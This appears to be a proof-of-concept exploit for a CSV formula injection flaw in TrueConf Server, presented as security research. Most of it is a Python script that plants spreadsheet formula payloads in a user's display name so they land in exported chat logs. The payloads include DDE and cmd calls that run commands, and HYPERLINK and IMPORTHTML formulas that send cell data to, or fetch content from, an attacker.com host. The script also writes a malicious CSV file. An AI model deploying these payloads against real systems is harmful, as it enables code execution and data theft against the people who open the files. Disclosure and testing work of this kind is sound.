A CSV Formula Injection vulnerability in TrueConf Server v5.5.2.10813 allows a normal user to inject malicious spreadsheet formulas into exported chat logs via crafted Display Name.
The following code is for security research and authorized testing only.
python
# CVE-2025-66834 PoC - TrueConf Server CSV Formula Injection
# Author: Security Researcher
# Date: 2025-12-30
# Step 1: Set malicious Display Name in TrueConf profile
# The attacker sets their display name to include formula injection payload
MALICIOUS_DISPLAY_NAME = "=cmd|'/C calc'!A0" # Spawns calculator (for testing)
MALICIOUS_DISPLAY_NAME = "=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"Click Here\")" # Data exfiltration
MALICIOUS_DISPLAY_NAME = "=DDE(\"cmd\";\"/C calc\";\"A1\")" # DDE execution
MALICIOUS_DISPLAY_NAME = "=IMPORTHTML(\"http://attacker.com/mal.html\",\"table\",0)" # HTML import
# Step 2: Export chat logs to CSV
# When admin exports chat logs, the malicious display name is included in CSV
# Example of exported CSV content:
# "Timestamp","User","Message"
# "2025-12-30 10:00:00","=cmd|'/C calc'!A0","Hello"
# Step 3: Victim opens CSV file
# When victim opens the CSV in Excel, the formula executes
# Example PoC - Generate malicious CSV:
csv_content = '''"Timestamp","User","Message"
"2025-12-30 10:00:00","=cmd|'/C calc'!A0","Test message"
"2025-12-30 10:01:00","=HYPERLINK(\"http://attacker.com/steal?data=\"&A1,\"View\")","Another message"'''
with open('exported_chat_logs.csv', 'w') as f:
f.write(csv_content)
print('[+] Malicious CSV file created: exported_chat_logs.csv')
print('[+] When opened in Excel, the formulas will execute')